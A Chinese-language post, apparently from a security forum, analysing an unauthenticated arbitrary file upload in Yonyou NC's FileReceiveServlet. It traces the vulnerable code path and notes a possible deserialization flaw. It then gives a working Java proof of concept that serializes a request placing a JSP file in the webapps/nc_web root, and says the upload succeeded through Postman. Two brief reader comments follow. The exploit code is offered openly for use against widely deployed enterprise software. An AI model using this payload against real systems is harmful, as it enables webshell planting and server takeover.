某友NC未授权文件上传漏洞分析
漏洞点:/servlet/FileReceiveServlet
根据web.xml 向导,查看对应servlet的映射。
/service/ 和 /servlet/ 都对应nc.bs.framework.server.InvokerServlet 类
其类在/yonyou\home\lib\fwserver.jar 包内
其servlet的doGet和doPost方法都指向doAction方法
这里直接看doAction方法就可以了
这里主要是根据request.getPathInfo()的值获取了对应的moduleName和serviceName
最终将值传递给了getServiceObject方法
其getServiceObject的主要作用是根据moduleName和serviceName去查找服务。
最终问题在于FileReceiveServlet。
根据文档,FileReceiveServlet所对应的类为com.yonyou.ante.servlet.FileReceiveServlet
jar包所在目录:/yonyou\home\modules\uapss\lib
问题主要在68行,File outFile = new File(path, fileName);
这里创建了一个文件,导致任意文件上传。
不过这里需要注意的是。path和fileName的值是将req.getInputStream(); (io流)进行反序列化操作并将结果传递给metaInfoi接口。
63行还调用了readObject()。还可以尝试一下反序列化漏洞。。。
path和filename分别获取metaInfo的TARGET_FILE_PATH键和FILE_NAME键的值
70行,创建文件流,并将getInputStream 的内容进行写入。
造成任意文件上传。
编写POC:
这里参考了一下其他师傅的写法。
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.util.Map;
import java.io.*;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws IOException {
Map metaInfo=new HashMap();
metaInfo.put("TARGET_FILE_PATH","webapps/nc_web"); //nc6.5的默认目录为webapps/nc_web。
//且该目录存在文件执行权限
metaInfo.put("FILE_NAME","test.jsp"); //定义FILE_NAME键-》值为test.jsp
//根据File outFile = new File(path, fileName);
//文件最终在/webapps/nc_web/test.jsp 也就是根目录下的test.jsp
ByteArrayOutputStream bOut=new ByteArrayOutputStream();
//创建字节缓冲区
ObjectOutputStream os=new ObjectOutputStream(bOut);
os.writeObject(metaInfo);
InputStream in=test.class.getResourceAsStream("test.jsp");
//读取test.jsp的内容
byte[] buf=new byte[1024];
int len=0;
while ((len=in.read(buf))!=-1){
bOut.write(buf,0,len);
}
FileOutputStream fileOutputStream = new FileOutputStream("E:\\1.cer");
fileOutputStream.write(bOut.toByteArray());
}
}
这里有点问题。。。不知道是不是我操作问题,用Burp的Paste from file 读取文件内容尝试上传。发现不成功。
后面用了PostMan,才得以成功
沙发,看不懂系列+1
永远的海神~ヾ(≧∇≦*)ゝ